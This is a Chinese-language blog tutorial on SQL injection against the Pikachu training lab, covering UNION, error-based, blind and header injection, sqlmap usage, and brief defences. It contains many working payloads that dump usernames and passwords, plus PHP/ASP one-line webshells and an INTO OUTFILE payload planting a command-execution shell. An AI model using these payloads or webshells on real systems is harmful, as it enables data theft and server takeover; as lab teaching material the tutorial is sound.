数据库
首页 > 数据库> > pikachu之sql注入漏洞

pikachu之sql注入漏洞

作者:互联网

一、SQL Inject漏洞原理概述

1.概述:

数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞

2.攻击流程

第一步:注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现
第二步:信息获取

通过注入点取期望得到的数据

(1)环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
(2)数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马

二、判断注入点类型及常见注入类型讲解

在这里插入图片描述

1.常见注入点类型:

—》数字型(post) user_id=$id

源码分析:

前端获取的变量id未做任何处理,直接拼接到select语句中进行查询,形成了sql注入。

在这里插入图片描述

打开pikachu的数字型sql注入,发现有一个下拉框,随便选中一个值

在这里插入图片描述

输出了vince的信息,这里我们发现在url中没有传参,所以是post请求

在这里插入图片描述

根据上图想象一下后台的逻辑:因为输出两个字段,所以暂且想象为两个字段

$id = $_POST['id']

select 字段1,字段2 from 表名 where id = $id  

正常情况下这里的$id值为(1~6),我们换成 1 or 1=1通过返回来看看后台会不会把这个逻辑去执行。

进行抓包查看,构造payload,发送。返回用户的全部信息

or 1 = 1

在这里插入图片描述

—》字符型(get) user_id=‘$id’

源码分析:

这里没有做任何处理,直接拼接到select语句当中

在这里插入图片描述

随便输入一个用户名时,提示不存在

在这里插入图片描述

当输入kobe时,返回信息

在这里插入图片描述

这是一个正常的功能。我们发现在url当中进行了传参,所以这是一个get请求

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2

猜想后台是怎样运行的

$username = $_get['username']
select 字段1,字段2 from 表名 where username = '$username'; 

因为这里的变量是字符型,所以需要构造闭合

kobe' or 1=1 #    //这里的#是将后面的单引号注释掉,避免语法错误

执行效果:将用户信息遍历出来了

在这里插入图片描述

—》搜索型 text like ‘%{$_GET[‘search’]}%’

用户输入是搜索内容直接拼接到sql语句中,这里的变量是模糊匹配,闭合方式%’

$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);

构造闭合

like '%$name%' or 1=1 #%'
$name%' or 1=1 #        //搜索文本框输入

执行效果:信息全部输出

在这里插入图片描述

—》xx型注入

源码分析:

在这里插入图片描述

构造闭合:

('$name') or 1=1 #')
$name') or 1=1 #     //输入框输入

执行效果:

在这里插入图片描述

2.补充:mysql小知识–注释符号

因为在sql注入测试中,需要经常对多余的内容进行消除,以保证SQL语句语法正确,比如上面的#
使用注释符号直接对多余内容进行注释是比较有效的方法

MySQL服务器支持3种注释
(1)从'#'字符到行尾
(2)从'--'序列到行尾。请注意'--'(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(如空格、tab、换行符等)
    该语法与标准SQL注释语法稍有不同
(3)从/*序列后面的*/序列。结束序列不一定在同一行种,因此该语法允许注释跨越多行

总结:不管是啥型,就是对SQL中的各种类型的输入进行闭合测试,构造合法SQL,欺骗后台执行

三、注入方式get&post的区别

get方式中使用url提交注入数据

post方式中使用抓包工具修改post数据部分提交注入

不管是get方式还是post方式,都可能会出现SQL注入漏洞,本质其实是一样的

四、SQL Inject漏洞手工测试:基于union联合查询的信息获取(select)

注:这里用字符型注入做演示

1.union联合查询、order by知识补充

order by x      表示对查询的结果进行排序,按照第X列进行排序,默认数字0-9,字母a-z

思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错

通过报错判断查询结果的列数,从而确定主查询的字段数
如何猜解字段数?利用二分法

构造闭合

a' order by 5#

在这里插入图片描述

a' order by 2#   //发现没有报错,显示用户名不存在。所以判断列数为2

在这里插入图片描述

2.基于union联合查询的信息获取(select)

union联合查询:可以通过联合查询来查询指定的数据

用法举例:

select username,password from user where id=1 union select 字段1,字段2 from 表名
//联合查询的字段数需要和主查询一致

构造闭合

aa' union select database(),user()#
aa' union select database(),version()#

在这里插入图片描述

在这里插入图片描述

3.”information_schema”数据库介绍

在mysql中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:

如果存在注入点的话,可以直接尝试对数据库进行访问,从而获取更多的信息。

比如:

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细描述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表

4.Mysql小知识补充

select version();      //取得数据库版本
select database();      //取得当前的数据库
select user();          //取得当前登录的用户

五、手工测试:通过information_schema拿下数据库

第一步:先输入一个单引号,发现报错,所以可以判断单引号是被拼接到sql语句中,后台把前端的输入当作数据库的一部分来进行逻辑判断。故存在sql注入漏洞

在这里插入图片描述

第二步:构造闭合,发现可以遍历出数据

kobe' or 1=1 #

在这里插入图片描述

第三步:获取数据库中表的名称

获取表名
select id,email from member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'
test payload:
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

执行效果:得出了所有的表名

在这里插入图片描述

第四步:获取字段名

获取字段名
select id,email from member where username='kobe' union select table_name,column_name from information_schema.columns where table_name='users';
test payload:
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#

执行效果:得出了所有的字段名

在这里插入图片描述

第五步:获取字段的内容

获取内容
select id,email from member where username='kobe' union select username,password from users;
test payload:
kobe' union select username,password from users#

执行效果:获取了用户名,密码

在这里插入图片描述

六、SQL Inject漏洞手工测试:基于报错的信息获取(select/delete/update/insert)

1.常用的报错函数

(1)updatexml():函数是MYSQL对xml文档数据进行查询和修改的XPATH函数
(2)extractvalue():函数是MYSQL对xml文档数据进行查询的XPATH函数
(3)floor():MYSQL中用来取整的函数

2.基于报错的信息获取(select/delete/update/insert)

技巧思路:

在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息

select/insert/update/delete都可以使用报错来获取信息

背景条件:

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

3.实验演示

----》updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值

语法:UPDATEXML(xml_document,XPathstring,new_value)

第一个参数:fiedname时String格式,为表中的字段名

第二个参数:XPathstring(Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的

注:Xpath定位必须是有效的,否则会发生错误

updatexml()函数构造一个报错,通过报错信息来获取信息

(1)select下报错的利用演示(字符型注入)
》》开始注入,爆出版本信息
kobe' and updatexml(1,concat(0x7e,version()),0)#

//concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,显示出要查的对象

//0x7e ASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~
执行效果:

在这里插入图片描述

》》爆出数据库信息:pikachu
kobe' and updatexml(1,concat(0x7e,database()),0)#
执行效果

在这里插入图片描述

》》爆出数据库中表的名称
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
//报错信息显示只能一次返回一行

在这里插入图片描述

修改:
//可以使用limit一次一次进行获取表名
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

在这里插入图片描述

//获取第1个位置的数据,步长为1
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1)),0)#

在这里插入图片描述

》》依此类推,获取所有表名…
》》获取到表名后,在获取列名,思路是一样的
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#

在这里插入图片描述

》》获取到列名后,再来获取数据
//获取用户名
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

在这里插入图片描述

//获取密码
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

在这里插入图片描述

(2)insert下报错的利用演示(pikachu的insert/update注入)
》》填写注册信息

在这里插入图片描述

在这里插入图片描述

》》第一步:随便输入一个特殊符号,报错,表明后台参与拼接,存在sql注入

在这里插入图片描述

》》第二步:输入payload
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '

在这里插入图片描述

(3)update下报错的利用演示(pikachu的insert/update注入)
》》登录lucy用户,进行修改个人信息

在这里插入图片描述

》》在性别字段,输入payload
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '

在这里插入图片描述

(4)delete下报错的利用演示(pikachu的delete注入)

对于后台来说,delete就是把留言对应的 id 传到了后台,然后后台就把该 id 对应的数据给删除了

》》删除留言,抓包查看:

在这里插入图片描述

在这里插入图片描述

》》我们把这条记录发送到repeater里面,构造payload,进行闭合。因为是数值型,所以没有单引号
1 or updatexml(1,concat(0x7e,database()),0)

因为这个参数实在url里面提交的,所以我们需要在burp上对这个payload做一个url的编码。否则让这一整段不是一个完整的url

在这里插入图片描述

》》编完后的payload,空格都用“+”连接

在这里插入图片描述

》》点击提交,爆出数据库名称

在这里插入图片描述

-----》extractvalue()函数作用:从目标XML中返回包含所查询值的字符串

语法:ExtractValue(xml_document,xpath_string)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)

Xpath定位必须是有效的,否则则会发生错误

》》构造payload
kobe' and extractvalue(0,concat(0x7e,version()))#

在这里插入图片描述

-----》floor()函数作用向下取整

floor(x),也写做Floor(x),其功能是“向下取整”,或者说“向下舍入”,即取不大于x的最大整数(与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个值)

rand函数不是真正的随机数生成器,而srand()会设置供rand()使用的随机数种子。如果你在第一次调用rand()之前没有调用srand(),那么系统会为你自动调用srand()。而使用同种子相同的数调用 rand()会导致相同的随机数序列被生成。

》》构造payload
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

在这里插入图片描述

kobe' and (select 2 from (select count(*),concat((select password from users where username='admin'),floor(rand(0)*2))x from information_schema.tables group by x)a)#

在这里插入图片描述

六、SQL Inject漏洞手工测试:操作系统权限获取

1.一句话木马

一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大

php:<?php @eval($_POST[‘chopper’]);?>
asp:<%eval request("chopper")%>
asp.net:<%@Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

2.如何通过into outfile写入恶意代码并控制系统

注:这里我将本机作为了目标主机

如何把一句话木马写入到服务器上去?

前提条件:

(1)需要知道远程目录

(2)需要远程目录有写权限

(3)需要数据库开启了secure_file_priv

select 1,2 into outfile “D:/phpstudy2018/PHPTutorial/WWW/1.txt”

into outfile 将select的结果写入到指定目录的1.txt中

在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取

3.实验演示:

第一步:满足前提条件
(1)远程目录

在我phpstudy的环境中创建一个php文件,我的路径为:D:\phpstudy2018\PHPTutorial\WWW

在这里插入图片描述

在这里插入图片描述

然后远程访问,可以访问。这个就是通过sqli进行服务器的远程控制的原理

在这里插入图片描述

(2)远程目录有写权限

目前来说很多的网站的应用程序是没有写的权限的,这保护了我们的信息。
对于firefox火狐浏览器,这个浏览器目前可以。

(3)开启数据库secure_file_priv

首先查看数据库的secure_file_priv,显示null

在这里插入图片描述

修改:打开mysql的配置文件,my.ini

在这里插入图片描述

在最下面新添加一行并且保存,然后重启服务,由null变为空

secure_file_priv=

在这里插入图片描述

第二步:构造payload
kobe' union select "<?php system($_GET['test'])?>",2 into outfile "D:/phpstudy2018/PHPTutorial/WWW/2.php"#

字符型注入进行测试,虽然有警告,但是已经写入了

在这里插入图片描述

在这里插入图片描述

第三步:通过网页来操作目标计算机的cmd命令行了
kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "D:/phpstudy2018/PHPTutorial/WWW/3.php"#

在这里插入图片描述

七、SQL注入漏洞-基于http header的注入

1.什么是http header注入

有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)

或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞

2.开始实验

打开pikachu的“http header”注入

在这里插入图片描述

第一步:提交一个单引号,然后发现报错。表明存在sql注入漏洞,因为后台将单引号放到sql语句中执行了

第二步:输入构造的payload

firefox' or updatexml(1,concat(0x7e,database()),0) or '

在这里插入图片描述

ant[uname]=admin' and updatexml(1,concat(0x7e,database()),0)#

在这里插入图片描述

八、SQL注入漏洞-盲注(boolian base)原理及测试

1.什么是盲注以及常见的盲注类型

在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断

这种情况下的注入,称为“盲注”

根据表现形式的不同,盲注又分为based boolean和based time两种类型

2.基于boolean(true or false)的盲注测试

表现症状:没有报错信息
(1)不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为0或者1)
(2)在正确的输入下,输入and 1=1/and 1=2发现可以判断
实验演示:
》》先用之前的字符串进行测试,发现用户名不存在

在这里插入图片描述

》》再测试

在这里插入图片描述

因为kobe存在,and 1=1为真 所以被写入后台,所以存在sql注入

》》用之前基于报错的payload来试一下,不行
kobe’ and extractvalue(0,concat(0x7e,version()))#

在这里插入图片描述

》》我们模拟后端,在数据库中进行查询

在这里插入图片描述

我们发现,只有真假两种情况,所以,构造的payload传到后台得出的结果只有真假两种情况

》》构造payload
kobe’ and ascii(substr(database(),1,1))>113#
》》如果返回了kobe对应的信息,意味着and后面的表达式为真,反之为假。基于真假就能知道database第一个字符串是不是>113。

在这里插入图片描述

》》改一下
kobe' and ascii(substr(database(),1,1))=112#

在这里插入图片描述

这样,我们就返回了数据库名称的第一个字符“p”

》》查询表名
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#

在这里插入图片描述

我们猜测第一个字符是小于112的,依次类推,就能得到第一个字符

》》这里为了直接得出结论,所以表的第一个字符是“h”,ascii码值为104,输入payload
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104#

在这里插入图片描述

3.基于time的盲注测试

如果是基于boolean的盲注在页面上还可以看到0 or 1的回显的话,那么基于time的盲注完全就啥都看不到了

但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入

实验演示

首先,我们用之前的思路进行测试

先输入一个单引号,发现不行

在这里插入图片描述

输入kobe’ and 1=1#,也不行

暂停5秒进行测试,把我们输入的payload执行了,说明这块存在sql注入,并且是基于时间的盲注

kobe' and sleep(5)#

在这里插入图片描述

构造payload,根据时间的延迟来做判断
用 if 做判断,通过 database 把数据库名称取出来, substr函数表示获得数据库第一个字符,“=”后面进行猜测,如果正好为‘p’,暂停5秒,此时数据库的第一个字符就为‘p’

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

在这里插入图片描述

九、SQL注入-宽字节注入原理及演示

参考博客:https://www.cnblogs.com/xiaoxiaosen/p/13753936.html

十、SQL注入表(列)名猜解-暴力破解在sql上的应用

注:在字符型注入进行测试

实验步骤

第一步:输入payload ,显示表不存在

kobe' and exists(select * from aa)#
//(1)将kobe’进行查询;
(2)将and作为运算符;
(3)猜测表aa是否存在,该表名是个字典。若表名存在,表达式为真;否则表达式为假。

在这里插入图片描述

第二步:在burp上进行抓包,发送到intruder模块

在这里插入图片描述

注:这里要暴力破解的对象是表名aa,因此在此处添加特殊符号
第三步:添加字典

在这里插入图片描述

在这里插入图片描述

第四步:查看返回结果,存在member和users这两张表

在这里插入图片描述

同理通过payload :

kobe' and exists(select id from users)#     //猜测列名

如果列名正确,会返回对应结果:

在这里插入图片描述

在这里插入图片描述

十一、如何使用SQL-Map进行SQL Inject漏洞测试

1.概述

sqlmap是一个自动化的sql注入工具,其主要功能是扫描,发现并利用给定的URL进行sql注入,目前支持数据库有mysql、oracle、access、postagesql、sql server、sqlite等

2.实验演示

第一步:对url进行注入探测

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db

在这里插入图片描述

在这里插入图片描述

第二步:获取当前的数据库

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db

在这里插入图片描述

第三步:获取数据库表的名称

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --D pikachu --tables

在这里插入图片描述

第四步:获取users表中所有的列名

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --D pikachu -T users --columns

在这里插入图片描述

第五步:指定users表中具体字段的内容

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --D pikachu -T users -C username,password --dump

在这里插入图片描述

在这里插入图片描述

十二、SQL注入漏洞常见防范措施

代码层面

1.对输入进行严格的转义和过滤

在这里插入图片描述

2.使用预处理和参数化(Parameterized)—>推荐

在这里插入图片描述

网络层面

1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)

在这里插入图片描述

2.云端防护(360网站卫士,阿里云盾等)

在这里插入图片描述

标签:pikachu,漏洞,报错,sql,kobe,schema,数据库,select,注入
来源: https://blog.csdn.net/weixin_51446936/article/details/117676008